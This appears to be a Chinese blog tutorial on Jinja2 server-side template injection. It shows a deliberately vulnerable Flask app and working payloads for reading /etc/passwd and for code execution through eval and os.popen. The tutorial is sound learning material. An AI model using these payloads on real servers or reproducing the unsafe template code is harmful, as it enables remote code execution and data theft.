SSTI模板注入

先入个门

个人感觉学SSTI注入之前,最好先学习一下python的沙盒绕过,两个利用的地方比较类似。

Jimja2

Jinja2是默认的仿Django模板的一个模板引擎,由Flask的作者开发。网上搜的语法2333,方便自己回顾

模板
{{ ... }}:装载一个变量,模板渲染的时候,会使用传进来的同名参数这个变量代表的值替换掉。
{% ... %}:装载一个控制语句。
{# ... #}:装载一个注释,模板渲染的时候会忽视这中间的值
变量

在模板中添加变量,可以使用(set)语句。

{% set name='xx' %}

with语句来创建一个内部的作用域,将set语句放在其中,这样创建的变量只在with代码块中才有效

{% with gg = 42 %}
{{ gg }}
{% endwith %}
if语句
{% if ken.sick %}
Ken is sick.
{% elif ken.dead %}
You killed Ken! You bastard!!!
{% else %}
Kenny looks okay --- so far
{% endif %}
for语句
{% for user in users %}
{{ user.username|e }}
{% endfor %}
遍历
{% for key, value in my_dict.iteritems() %}
<dt>{{ key|e }}</dt>
<dd>{{ value|e }}</dd>
{% endfor %}
Jinja2中for循环内置常量

loop.index 当前迭代的索引(从1开始)
loop.index0 当前迭代的索引(从0开始)
loop.first 是否是第一次迭代,返回True/False
loop.last 是否是最后一次迭代,返回True/False
loop.length 序列的长度
注意:不可以使用continue和break表达式来控制循环的执行。

过滤器

过滤器是通过(|)符号进行使用的,例如:{{ name|length }}:将返回name的长度

类似于我们平常的的函数,他他这种应该就是内置函数,因为它本身就含有很多过滤器

abs(value):返回一个数值的绝对值。示例:-1|abs
last(value):返回一个序列的最后一个元素。示例:names|last。
length(value):返回一个序列或者字典的长度。示例:names|length。
join(value,d=u''):将一个序列用d这个参数的值拼接成字符串。
int(value):将值转换为int类型。
float(value):将值转换为float类型。
lower(value):将字符串转换为小写。
upper(value):将字符串转换为小写

模板注入

简单地说跟这种类型的注入跟一般的注入成因其实一样,都是过分相信用户的输入导致的漏洞,这样一来通过模板注入可以导致敏感信息泄露、代码执行等诸多漏洞,这里有一篇关于PHP的模板注入,写的挺好,可以参考一下:https://www.freebuf.com/vuls/83999.html,但这篇文章PHP 模版引擎 Twig 作为例子,只是简单介绍了一下XSS的相关漏洞,并没有触发更大的危害,但是常规的测试方法已经写了出来,跟测试注入其实差不多,就是换了内容而已。

SSTI模板注入_第1张图片

所以下面就自己搭个python的web环境,以危害更大的SSTI模板注入作为例子说明,这是app.py里面的代码内容

from flask import Flask, request
from jinja2 import Template

app = Flask(__name__)

@app.route("/")
def index():
    name = request.args.get('name', 'guest')

    t = Template("Hello " + name)
    return t.render()

if __name__ == "__main__":

可以看得出来name参数直接以get方式获取,直接拼接在Hello后面作为模板,直接render,这很明显name参数是可控的。问题也恰好是出在这。

当然这里也是有XSS的

SSTI模板注入_第2张图片

但是重点还是放在读文件这一功能上,这也相当于直接RCE了,先要学习一下下面这几个类,__mro__以及__subclasses__属性,其实这里有点像python沙盒绕过的构造方法23333.

__mro__中的MRO(Method Resolution Order)代表着解析方法调用的顺序,可以看看Python文档中的介绍。它是每个对象元类的一个隐藏属性,当进行内省时会忽略dir输出(see Objects/object.c at line 1812)

__subclasses__属性在这里作为一种方法被定义为,对每个new-style class“为它的直接子类维持一个弱引用列表”,之后“返回一个包含所有存活引用的列表”。

上面的这两个属性引用自这篇文章:https://www.freebuf.com/articles/web/98928.html

个人直接理解就是__mro__会输出当前对象所调用的全部类包括其父类,而__subclasses__会输出该类下所有的子类。OK,这样就可以愉快的开始了

先来测试一下是否存在这个漏洞,输入参数{{5*5}}hello,明显存在漏洞

ktfbPU.png

首先我们要做的第一件事便是选择一个new-style object用于访问object基类。可以简单的使用'',一个空字符串,str对象类型。之后可以使用__mro__属性访问对象的继承类。将{{ ''.__class__.__mro__ }}作为payload注入到存在SSTI漏洞的页面中

SSTI模板注入_第3张图片

出现两个类,选择第二个object基类,并显示该类下方的所有子类,注入{{ ''.__class__.__mro__[1].__subclasses__() }}

SSTI模板注入_第4张图片

上面链接的文章里面使用file类去进行对文件的读写操作,payload:{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }},但是file方法在py3中已经不支持,只要找到可以执行代码的函数或者其他读文件的函数都可以,在vulhub上找到的另外一个适合py3的,利用了eval函数去实现RCE的功能,因为执行语句去实现的,所以得用%括住。方法不止一种,找到对的继承链就可以。

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("id").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

ktNZbn.png

成功读取根目录下的文件

ktNMCT.png

另外再拿

这东西只要找对继承关系,而且继承关系里面的方法清楚的话就很快获得效果,当然防范的话得从代码层下手,永远不要相信用户的输入就对了,对可控变量做好防御XD

参考文章:

https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf

https://www.freebuf.com/vuls/83999.html

https://www.freebuf.com/articles/web/98928.html

你可能感兴趣的:(模板注入)